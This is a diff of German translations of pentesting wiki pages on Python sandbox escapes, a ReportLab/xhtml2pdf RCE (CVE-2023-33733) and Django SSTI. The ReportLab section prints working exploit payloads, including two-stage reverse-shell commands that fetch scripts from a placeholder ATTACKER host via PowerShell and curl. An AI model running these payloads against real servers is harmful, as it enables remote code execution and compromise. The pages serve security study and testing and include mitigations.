-Zur Erinnerung: Jedes Mal, wenn in python eine Aktion ausgeführt wird, wird eine Funktion ausgeführt. Zum Beispiel führt `2*3` **`(2).mul(3)`** aus oder `{'a':'b'}['a']` entspricht **`{'a':'b'}.__getitem__('a')`**.
+Zur Erinnerung: Jedes Mal, wenn in Python eine Aktion ausgeführt wird, wird eine Funktion aufgerufen. Zum Beispiel führt `2*3` **`(2).mul(3)`** aus oder **`{'a':'b'}['a']`** entspricht **`{'a':'b'}.__getitem__('a')`**.

 Mehr davon findest du im Abschnitt [**Python execution without calls**](#python-execution-without-calls).

-Eine python Format-String-Schwachstelle erlaubt es nicht, Funktionen auszuführen (es dürfen keine parenthesis benutzt werden), daher ist z.B. `'{0.system("/bin/sh")}'.format(os)` nicht möglich.\
-Allerdings lässt sich `[]` verwenden. Wenn eine gängige python-Bibliothek also eine **`__getitem__`** oder **`__getattr__`**-Methode hat, die beliebigen Code ausführt, lässt sich diese zum Erreichen von RCE missbrauchen.
+Eine Python-Format-String-Schwachstelle erlaubt es nicht, Funktionen auszuführen (sie erlaubt keine Verwendung von Klammern), daher ist es nicht möglich, RCE wie `'{0.system("/bin/sh")}'.format(os)`.\
+Allerdings ist die Verwendung von `[]` möglich. Wenn also eine gängige Python-Library eine **`__getitem__`**- oder **`__getattr__`**-Methode hat, die beliebigen Code ausführt, lässt sich diese missbrauchen, um RCE zu erreichen.

-Bei der Suche nach einem solchen Gadget in python schlägt das Writeup diese [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Dort fand er dieses [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
+Auf der Suche nach einem solchen Gadget in Python schlägt das Writeup diese [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Dort fand er dieses [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
 ```python
 class LibraryLoader(object):
 def __init__(self, dlltype):
@ -774,20 +774,20 @@ return getattr(self, name)
 cdll = LibraryLoader(CDLL)
 pydll = LibraryLoader(PyDLL)
 ```
-Dieses Gadget ermöglicht es, **eine Bibliothek von der Festplatte zu laden**. Deshalb muss **die zu ladende Bibliothek geschrieben oder hochgeladen** werden, und zwar korrekt für den angegriffenen Server kompiliert.
+Dieses Gadget ermöglicht, eine **Bibliothek von der Festplatte zu laden**. Daher muss die Bibliothek, die geladen werden soll, irgendwie **korrekt kompiliert** auf den angegriffenen Server geschrieben oder hochgeladen werden.
 ```python
 '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 ```
-Die Challenge nutzt tatsächlich eine andere Schwachstelle im Server aus, die es erlaubt, beliebige Dateien auf der Festplatte des Servers zu erstellen.
+Die Challenge missbraucht tatsächlich eine andere Schwachstelle im Server, die es erlaubt, beliebige Dateien auf der Serverfestplatte zu erstellen.

-## Untersuchung von Python-Objekten
+## Analyse von Python-Objekten

 > [!TIP]
-> Wenn du **mehr** über **python bytecode** im Detail lernen möchtest, lies diesen **großartigen** Beitrag zum Thema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
+> Wenn du über **python bytecode** im Detail **lernen** möchtest, lies diesen **ausgezeichneten** Beitrag zum Thema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)

-In einigen CTFs kann dir der Name einer **custom function where the flag** gegeben werden, und du musst die **internals** der **function** ansehen, um sie zu extrahieren.
+In einigen CTFs könntest du den Namen einer **custom function where the flag** erhalten und du musst die **internals** der **function** ansehen, um sie zu extrahieren.

-Das ist die function, die es zu untersuchen gilt:
+Dies ist die function, die es zu inspizieren gilt:
 ```python
 def get_flag(some_input):
 var1=1
@ -807,7 +807,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals

-`__globals__` und `func_globals` (gleich) geben die globale Umgebung zurück. Im Beispiel kann man einige importierte Module, einige globale Variablen und deren deklarierten Inhalte sehen:
+`__globals__` und `func_globals`(gleich) geben die globale Umgebung zurück. Im Beispiel siehst du einige importierte Module, einige globale Variablen und deren Inhalt:
 ```python
 get_flag.func_globals
 get_flag.__globals__
@ -818,9 +818,9 @@ CustomClassObject.__class__.__init__.__globals__
 ```
 [**See here more places to obtain globals**](#globals-and-locals)

-### **Zugriff auf den Funktionscode**
+### **Zugriff auf den Code der Funktion**

-**`__code__`** und `func_code`: Sie können **auf dieses Attribut** der Funktion **zugreifen**, um das **Code-Objekt** der Funktion zu **erhalten**.
+**`__code__`** und `func_code`: Sie können auf dieses **Attribut** der **Funktion** **zugreifen**, um das **Code-Objekt** der Funktion zu erhalten.
 ```python
 # In our current example
 get_flag.__code__
@ -834,7 +834,7 @@ compile("print(5)", "", "single")
 dir(get_flag.__code__)
 ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
 ```
-### Code-Informationen abrufen
+### Informationen zum Code erhalten
 ```python
 # Another example
 s = '''
@ -880,7 +880,7 @@ get_flag.__code__.co_freevars
 get_flag.__code__.co_code
 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
 ```
-### **Disassemblieren einer Funktion**
+### **Disassembly einer Funktion**
 ```python
 import dis
 dis.dis(get_flag)
@ -908,7 +908,7 @@ dis.dis(get_flag)
 44 LOAD_CONST               0 (None)
 47 RETURN_VALUE
 ```
-Beachte, dass du, falls du `dis` in der python sandbox nicht importieren kannst, den bytecode der Funktion (`get_flag.func_code.co_code`) erhalten und ihn lokal disassemble kannst. Du wirst den Inhalt der geladenen Variablen (`LOAD_CONST`) nicht sehen, aber du kannst sie aus (`get_flag.func_code.co_consts`) erraten, weil `LOAD_CONST` auch den Offset der geladenen Variable angibt.
+Beachte, dass **wenn du `dis` in der python sandbox nicht importieren kannst** du den **bytecode** der Funktion (`get_flag.func_code.co_code`) erhalten und ihn lokal **disassemblieren** kannst. Du wirst den Inhalt der geladenen Variablen (`LOAD_CONST`) nicht sehen, aber du kannst sie aus (`get_flag.func_code.co_consts`) erraten, weil `LOAD_CONST` auch den Offset der geladenen Variable angibt.
 ```python
 dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 0 LOAD_CONST          1 (1)
@ -932,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 ```
 ## Python kompilieren

-Stellen wir uns nun vor, dass man irgendwie die **Informationen über eine Funktion dumpen kann, die man nicht ausführen kann**, aber man sie **musst** **ausführen**.\  
-Wie im folgenden Beispiel kann man **auf das code object zugreifen** dieser Funktion, aber allein durch das Lesen des disassemble weiß man **nicht, wie man den flag berechnet** (_stell dir eine komplexere `calc_flag`-Funktion vor_)
+Stellen wir uns nun vor, dass Sie auf irgendeine Weise **die Informationen über eine Funktion dumpen, die Sie nicht ausführen können**, aber Sie **müssen** sie **ausführen**.\
+Wie im folgenden Beispiel **können Sie auf das code object** dieser Funktion zugreifen, aber allein durch das Lesen des disassemble wissen Sie **nicht, wie Sie den flag berechnen** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_)
 ```python
 def get_flag(some_input):
 var1=1
@ -946,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
 else:
 return "Nope"
 ```
-### Erstellen des code object
+### Erstellen des Code-Objekts

-Zuerst müssen wir wissen, **wie man ein code object erstellt und ausführt**, damit wir eines erstellen können, um unsere function leaked auszuführen:
+Zuerst müssen wir wissen **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion leaked auszuführen:
 ```python
 code_type = type((lambda: None).__code__)
 # Check the following hint if you get an error in calling this
@ -968,7 +968,7 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 > [!TIP]
-> Je nach python-Version können die **Parameter** von `code_type` eine **andere Reihenfolge** haben. Der beste Weg, die Reihenfolge der Params in der python-Version, die du ausführst, herauszufinden, ist, folgendes auszuführen:
+> Je nach Python-Version können die **Parameter** von `code_type` eine **andere Reihenfolge** haben. Der beste Weg, die Reihenfolge der Parameter in der Python-Version, die du ausführst, herauszufinden, ist, folgendes auszuführen:
 >
 > ```
 > import types
@ -979,7 +979,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 ### Rekonstruieren einer leaked function

 > [!WARNING]
-> Im folgenden Beispiel entnehmen wir alle Daten, die benötigt werden, um die function direkt aus dem function code object zu rekonstruieren. In einem **realen Beispiel** sind alle **Werte** zum Ausführen der Funktion **`code_type`** genau das, **was du leak** musst.
+> Im folgenden Beispiel entnehmen wir alle Daten, die nötig sind, um die Funktion direkt aus dem function code object zu rekonstruieren. In einem **echten Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, genau das, was **you will need to leak**.
 ```python
 fc = get_flag.__code__
 # In a real situation the values like fc.co_argcount are the ones you need to leak
@ -990,10 +990,10 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 #ThisIsTheFlag
 ```
-### Schutzmechanismen umgehen
+### Abwehrmechanismen umgehen

-In den vorherigen Beispielen am Anfang dieses Beitrags kannst du sehen, **wie man beliebigen python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil man **komplette Skripte** mit Schleifen und allem in einem **one liner** ausführen kann (und wir könnten dasselbe mit **`exec`** tun).\
-Manchmal kann es jedoch nützlich sein, ein **compiled object** auf einer lokalen Maschine zu **erstellen** und es auf der **CTF machine** auszuführen (zum Beispiel weil wir die `compiled`-Funktion im CTF nicht haben).
+In den vorherigen Beispielen zu Beginn dieses Beitrags kannst du sehen **wie man beliebigen python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil du **gesamte Skripte** mit Schleifen und allem in einem **One-Liner** ausführen kannst (und wir könnten dasselbe mit **`exec`** tun).\
+Manchmal kann es jedoch nützlich sein, ein **kompiliertes Objekt** auf einer lokalen Maschine zu **erstellen** und es in der **CTF machine** auszuführen (zum Beispiel weil wir in der CTF die `compiled`-Funktion nicht haben).

 Zum Beispiel kompilieren und führen wir manuell eine Funktion aus, die _./poc.py_ liest:
 ```python
@ -1022,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
 codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
 function_type(codeobj, mydict, None, None, None)()
 ```
-Wenn du nicht auf `eval` oder `exec` zugreifen kannst, könntest du eine **richtige Funktion** erstellen, aber ein direkter Aufruf schlägt normalerweise mit der Fehlermeldung _constructor not accessible in restricted mode_ fehl. Deshalb brauchst du eine **Funktion außerhalb der eingeschränkten Umgebung, die diese Funktion aufruft.**
+Wenn du nicht auf `eval` oder `exec` zugreifen kannst, könntest du eine **richtige Funktion** erstellen, aber ein direkter Aufruf wird meist mit: _constructor not accessible in restricted mode_ fehlschlagen. Deshalb brauchst du eine **Funktion außerhalb der eingeschränkten Umgebung, die diese Funktion aufruft.**
 ```python
 #Compile a regular print
 ftype = type(lambda: None)
@ -1030,9 +1030,9 @@ ctype = type((lambda: None).func_code)
 f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
 f(42)
 ```
-## Decompiling Kompiliertes python
+## Decompiling Compiled Python

-Mit Werkzeugen wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann man **decompile** gegebenen kompilierten python-Code.
+Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann man gegebenen kompilierten Python-Code **decompile**.

 **Sieh dir dieses Tutorial an**:

@ -1041,12 +1041,12 @@ Mit Werkzeugen wie [**https://www.decompiler.com/**](https://www.decompiler.com)
 ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
 {{#endref}}

-## Sonstiges zu python
+## Sonstiges zu Python

 ### Assert

-Bei Ausführung von python mit Optimierungen über den Parameter `-O` werden asset statements und jeglicher Code, der von dem Wert von **debug** abhängt, entfernt.\
-Daher werden Prüfungen wie
+Python, ausgeführt mit dem Optimierungsparameter `-O`, entfernt asset-Anweisungen und jeglichen Code, der von dem Wert **debug** abhängig ist.\
+Daher werden Überprüfungen wie
 ```python
 def check_permission(super_user):
 try:
@ -1057,7 +1057,7 @@ print(f"\nNot a Super User!!!\n")
 ```
 wird umgangen

-## Quellen
+## Referenzen

 - [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
 - [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -2,77 +2,77 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Diese Seite dokumentiert einen praktischen Sandbox-Escape und ein RCE-Primitiv in ReportLab’s rl_safe_eval, das von xhtml2pdf und anderen PDF-Generierungs-Pipelines verwendet wird, wenn user-kontrolliertes HTML in PDFs gerendert wird.
+Diese Seite dokumentiert einen praktischen Sandbox-Escape und eine RCE-Primitive in ReportLab’s rl_safe_eval, die von xhtml2pdf und anderen PDF-Generierungs-Pipelines beim Rendern von nutzergesteuertem HTML in PDFs verwendet wird.

-CVE-2023-33733 betrifft ReportLab-Versionen bis einschließlich 3.6.12. In bestimmten Attribut-Kontexten (z. B. color) werden Werte, die in triple brackets [[[ ... ]]] eingeschlossen sind, serverseitig von rl_safe_eval ausgewertet. Durch das Erzeugen einer Nutzlast, die von einem auf der Whitelist stehenden builtin (pow) zu dessen Python-Funktions-globals pivotiert, kann ein Angreifer das os-Modul erreichen und Befehle ausführen.
+CVE-2023-33733 betrifft ReportLab-Versionen bis einschließlich 3.6.12. In bestimmten Attribut-Kontexten (z. B. color) werden Werte, die in dreifache Klammern [[[ ... ]]] eingeschlossen sind, serverseitig von rl_safe_eval ausgewertet. Durch das Konstruieren einer Nutzlast, die von einem erlaubten builtin (pow) auf dessen Python-Funktions-globals pivotiert, kann ein Angreifer das os-Modul erreichen und Befehle ausführen.

 Wichtige Punkte
- Trigger: injiziere [[[ ... ]]] in ausgewertete Attribute wie <font color="..."> innerhalb von Markup, das von ReportLab/xhtml2pdf geparst wird.
- Sandbox: rl_safe_eval ersetzt gefährliche builtins, aber ausgewertete Funktionen geben weiterhin Zugriff auf __globals__.
- Bypass: konstruiere eine transiente Klasse Word, um rl_safe_eval Namensprüfungen zu umgehen und den String "__globals__" zu erreichen, während blockiertes dunder-Filtering vermieden wird.
+- Auslöser: injiziere [[[ ... ]]] in ausgewertete Attribute wie <font color="..."> innerhalb von Markup, das von ReportLab/xhtml2pdf geparst wird.
+- Sandbox: rl_safe_eval ersetzt gefährliche builtins, aber ausgewertete Funktionen haben weiterhin Zugriff auf __globals__.
+- Umgehung: erstelle eine temporäre Klasse Word, um rl_safe_eval Namensprüfungen zu umgehen und den String "__globals__" zu erhalten, während geblockte Dunder-Filterungen vermieden werden.
 - RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
 - Stabilität: Gib nach der Ausführung einen gültigen Wert für das Attribut zurück (für color z. B. 'red').

 Wann testen
- Anwendungen, die HTML-zu-PDF-Export anbieten (Profile, Rechnungen, Berichte) und xhtml2pdf/ReportLab in PDF-Metadaten oder HTTP-Response-Kommentaren anzeigen.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- HTTP-Response für PDF beginnt oft mit einem ReportLab generator comment
+- Anwendungen, die HTML-zu-PDF-Export anbieten (Profile, Rechnungen, Berichte) und in denen xhtml2pdf/ReportLab in PDF-Metadaten oder HTTP-Response-Kommentaren auftauchen.
+- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" als Producer
+- HTTP-Response für PDF beginnt oft mit einem ReportLab generator Kommentar

 Wie der Sandbox-Bypass funktioniert
- rl_safe_eval entfernt oder ersetzt viele builtins (getattr, type, pow, ...) und wendet Namensfilterung an, um Attribute zu verweigern, die mit __ beginnen oder in einer Denylist stehen.
- Allerdings leben sichere Funktionen in einem globals-Dictionary, das über func.__globals__ zugänglich ist.
- Verwende type(type(1)) um die echte eingebaute type-Funktion wiederherzustellen (um ReportLabs Wrapper zu umgehen), definiere dann eine Word-Klasse, die von str abgeleitet ist und verändertes Vergleichsverhalten besitzt, sodass:
- .startswith('__') → immer False (um die startswith('__') Namensprüfung zu umgehen)
- .__eq__ gibt beim ersten Vergleich False zurück (um Denylist-Mitgliedschaftsprüfungen zu umgehen) und danach True (damit Python getattr funktioniert)
- .__hash__ entspricht hash(str(self))
- Damit gibt getattr(pow, Word('__globals__')) das globals-Dict der eingewickelten pow-Funktion zurück, das ein importiertes os-Modul enthält. Dann: ['os'].system('<cmd>').
+- rl_safe_eval entfernt oder ersetzt viele builtins (getattr, type, pow, ...) und wendet Namensfilter an, um Attribute zu verweigern, die mit __ beginnen oder auf einer Denylist stehen.
+- Sichere Funktionen liegen jedoch in einem globals-Dictionary, das über func.__globals__ zugänglich ist.
+- Nutze type(type(1)), um die echte builtin type-Funktion wiederherzustellen (um die Wrapper von ReportLab zu umgehen), und definiere dann eine Word-Klasse, die von str abgeleitet ist mit veränderter Vergleichslogik, sodass:
+  - .startswith('__') → immer False (um die startswith('__') Namensprüfung zu umgehen)
+  - .__eq__ gibt beim ersten Vergleich False zurück (um denylist-Mitgliedschaftsprüfungen zu umgehen) und danach True (damit Python getattr funktioniert)
+  - .__hash__ entspricht hash(str(self))
+- Damit liefert getattr(pow, Word('__globals__')) das globals-Dict der eingewickelten pow-Funktion, das ein importiertes os-Modul enthält. Dann: ['os'].system('<cmd>').

 Minimales Exploit-Muster (Attribut-Beispiel)
-Plaziere die Nutzlast in einem ausgewerteten Attribut und stelle sicher, dass sie über boolean und 'red' einen gültigen Attributwert zurückgibt.
+Platziere die Nutzlast inside eines ausgewerteten Attributs und sorge dafür, dass sie nach der Ausführung einen gültigen Attributwert zurückgibt, z. B. via boolean und 'red'.

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
 exploit
 </font></para>

 - Die List-Comprehension-Form erlaubt einen einzelnen Ausdruck, der von rl_safe_eval akzeptiert wird.
- Das nachgestellte and 'red' gibt eine gültige CSS-Farbe zurück, sodass das Rendering nicht fehlschlägt.
- Ersetze den Befehl nach Bedarf; verwende ping zur Validierung der Ausführung mit tcpdump.
+- Der nachgestellte and 'red' gibt eine gültige CSS-Farbe zurück, sodass das Rendering nicht fehlschlägt.
+- Ersetze den Befehl nach Bedarf; verwende ping, um die Ausführung mit tcpdump zu validieren.

-Operationaler Ablauf
+Operativer Ablauf
 1) PDF-Generator identifizieren
- PDF Producer zeigt xhtml2pdf; HTTP-Response enthält ReportLab comment.
+- PDF Producer zeigt xhtml2pdf; HTTP-Response enthält ReportLab-Kommentar.
 2) Finde eine Eingabe, die ins PDF reflektiert wird (z. B. Profil-Bio/-Beschreibung) und löse einen Export aus.
-3) Verifiziere Ausführung mit low-noise ICMP
+3) Verifiziere die Ausführung mit leisem ICMP-Verkehr
 - Ausführen: sudo tcpdump -ni <iface> icmp
 - Payload: ... system('ping <your_ip>') ...
- Windows sendet standardmäßig häufig genau vier Echo-Anfragen.
-4) Shell etablieren
- Für Windows verhindert ein zuverlässiger Two-Stage-Ansatz Quoting-/Encoding-Probleme:
- Stage 1 (download):
+- Windows sendet oft standardmäßig genau vier Echo-Requests.
+4) Shell herstellen
+- Für Windows ist ein zuverlässiger Zwei-Phasen-Ansatz hilfreich, um Quoting-/Encoding-Probleme zu vermeiden:
+- Phase 1 (Download):

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Stage 2 (ausführen):
+- Phase 2 (Ausführen):

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Für Linux-Ziele ist ein ähnlicher Two-Stage-Ansatz mit curl/wget möglich:
+- Für Linux-Ziele ist ein ähnlicher Zwei-Phasen-Ansatz mit curl/wget möglich:
 - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

 Hinweise und Tipps
- Attribut-Kontexte: color ist ein bekanntes ausgewertetes Attribut; andere Attribute im ReportLab-Markup können ebenfalls Ausdrücke auswerten. Wenn eine Stelle bereinigt ist, probiere andere, die in den PDF-Flow gerendert werden (verschiedene Felder, Tabellenstile, etc.).
- Quoting: Halte Befehle kompakt. Two-Stage-Downloads reduzieren drastisch Quoting- und Escape-Probleme.
- Zuverlässigkeit: Wenn Exporte gecached oder in eine Warteschlange gestellt werden, variiere die Nutzlast leicht (z. B. zufälliger Pfad oder Query), um Cache-Treffer zu vermeiden.
+- Attribut-Kontexte: color ist ein bekannter ausgewerteter Attribut-Kontext; andere Attribute in ReportLab-Markup können ebenfalls Ausdrücke auswerten. Wenn eine Stelle bereinigt ist, probiere andere Orte im PDF-Flow (verschiedene Felder, Tabellenstile, etc.).
+- Quoting: Halte Befehle kompakt. Zwei-Phasen-Downloads reduzieren deutlich Quoting- und Escape-Probleme.
+- Zuverlässigkeit: Wenn Exporte gecached oder in eine Queue gestellt werden, variiere die Nutzlast leicht (z. B. zufälliger Pfad oder Query), um Cache-Treffer zu vermeiden.

-Mitigierungen und Erkennung
- Upgrade ReportLab auf 3.6.13 oder neuer (CVE-2023-33733 gefixt). Verfolge auch Sicherheitshinweise in Distro-Paketen.
- Füttere xhtml2pdf/ReportLab nicht direkt mit user-kontrolliertem HTML/Markup ohne strikte Sanitization. Entferne/verweigere [[[...]]] Auswertungs-Konstrukte und vendor-spezifische Tags, wenn die Eingabe untrusted ist.
- Erwäge, rl_safe_eval für untrusted Inputs vollständig zu deaktivieren oder zu umhüllen.
- Überwache auf verdächtige ausgehende Verbindungen während der PDF-Generierung (z. B. ICMP/HTTP von App-Servern beim Export von Dokumenten).
+Abhilfemaßnahmen und Erkennung
+- Upgrade ReportLab auf 3.6.13 oder neuer (CVE-2023-33733 ist dort behoben). Verfolge außerdem Security-Advisories in Distributionspaketen.
+- Füttere xhtml2pdf/ReportLab nicht direkt mit nutzergesteuertem HTML/Markup ohne strikte Sanitierung. Entferne/verweigere [[[...]]] Evaluierungs-Konstrukte und vendor-spezifische Tags, wenn Input nicht vertrauenswürdig ist.
+- Ziehe in Erwägung, rl_safe_eval für untrusted Inputs vollständig zu deaktivieren oder zu umschließen.
+- Überwache verdächtige ausgehende Verbindungen während der PDF-Generierung (z. B. ICMP/HTTP von App-Servern beim Export von Dokumenten).

 Referenzen
 - PoC und technische Analyse: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (Real-World Exploitation, Windows Two-Stage Payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
+- 0xdf University HTB write-up (Real-World-Exploitation, Windows Two-Stage Payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
 - NVD-Eintrag (betroffene Versionen): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
 - xhtml2pdf docs (Markup/Page-Konzepte): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)

--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@ -2,43 +2,43 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Cache Manipulation to RCE
-Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.
+## Cache-Manipulation zu RCE
+Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Wenn ein Angreifer Schreibzugriff auf den Cache erlangen kann, kann er diese Schwachstelle zu RCE auf dem zugrunde liegenden Server eskalieren**.

-Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.
+Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Caches, die in einem Redis-Server oder einer Datenbank gespeichert sind, sind die wahrscheinlichsten Angriffsvektoren (Redis injection und SQL injection), aber ein Angreifer könnte auch file-based cache nutzen, um einen beliebigen Schreibzugriff in RCE zu verwandeln. Die Cache-Dateiordner, der SQL-Tabellenname und die Redis-Server-Details variieren je nach Implementierung.

-This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
+Dieser HackerOne-Bericht bietet ein gutes, reproduzierbares Beispiel für die Ausnutzung von in einer SQLite-Datenbank gespeichertem Django-Cache: https://hackerone.com/reports/1415436

 ---

 ## Server-Side Template Injection (SSTI)
-The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.
+The Django Template Language (DTL) is **Turing-vollständig**. Wenn vom Benutzer gelieferte Daten als *template string* gerendert werden (z. B. durch Aufruf von `Template(user_input).render()` oder wenn `|safe`/`format_html()` Auto-Escaping entfernt), kann ein Angreifer vollständiges SSTI → RCE erreichen.

-### Erkennung
-1. Suche nach dynamischen Aufrufen von `Template()` / `Engine.from_string()` / `render_to_string()`, die *irgendwelche* unbereinigten Request-Daten enthalten.
-2. Send a time-based or arithmetic payload:
+### Detection
+1. Suchen Sie nach dynamischen Aufrufen von `Template()` / `Engine.from_string()` / `render_to_string()`, die *irgendwelche* unsanitisierten Anfragedaten enthalten.
+2. Senden Sie eine zeitbasierte oder arithmetische Nutzlast:
 ```django
 {{7*7}}
 ```
-If the rendered output contains `49` the input is compiled by the template engine.
+Wenn die gerenderte Ausgabe `49` enthält, wird die Eingabe von der Template-Engine kompiliert.

 ### Primitive zu RCE
 Django blocks direct access to `__import__`, but the Python object graph is reachable:
 ```django
 {{''.__class__.mro()[1].__subclasses__()}}
 ```
